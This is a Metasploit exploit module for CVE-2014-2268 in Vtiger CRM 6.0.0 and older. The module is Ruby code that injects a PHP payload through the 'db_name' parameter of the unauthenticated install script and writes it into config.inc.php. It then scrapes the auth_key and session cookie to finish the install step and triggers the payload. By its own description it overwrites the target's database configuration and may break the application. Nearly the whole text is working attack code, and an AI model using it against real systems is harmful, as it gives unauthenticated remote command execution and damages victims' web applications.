Vtiger – ‘Install’ Remote Command Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote # Application database configuration is overwritten Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Vtiger Install Unauthenticated Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the Vtiger install script. This module is set to ManualRanking due to this module overwriting the target database configuration, which may result in a broken web app, and you may not be able to get a session again. }, 'Author' => [ 'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-2268' ], [ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'], [ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'], ], 'Privileged' => false, 'Platform' => ['php'], 'Payload' => { 'Space' => 4000, 'BadChars' => "#", 'DisableNops' => true, 'Keys' => ['php'] }, 'Arch' => ARCH_PHP, 'Targets' => [[ 'Vtiger 6.0.0 or older', { }]], 'DisclosureDate' => 'Mar 5 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/']) ], self.class) end def exploit print_status("Injecting payload...") rand_arg = Rex::Text.rand_text_hex(10) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => {'X-Requested-With' => rand_text_alpha(5)}, 'vars_get' => { 'module' => 'Install', 'view' => 'Index', 'mode' => 'Step5', 'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // " }}) # Check timeout if not res print_error("Request timed out, please try again") return end if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i authkey = $1 phpsessid = res.get_cookies if authkey.blank? print_error("No AuthKey found") return elsif phpsessid.blank? print_error("No PHP Session ID found") return end print_status("Retrieved Authkey : #{authkey}") print_status("Retrieved PHPSESSID : #{phpsessid}") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => {'X-Requested-With' => rand_text_alpha(5)}, 'cookie' => phpsessid, 'vars_get' => { 'module' => 'Install', 'view' => 'Index', 'mode' => 'Step7', 'auth_key' => authkey } }) print_status("Executing payload...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'config.inc.php'), 'vars_get' => { rand_arg => '1' } }) else print_error("No auth_key pattern found") end end end |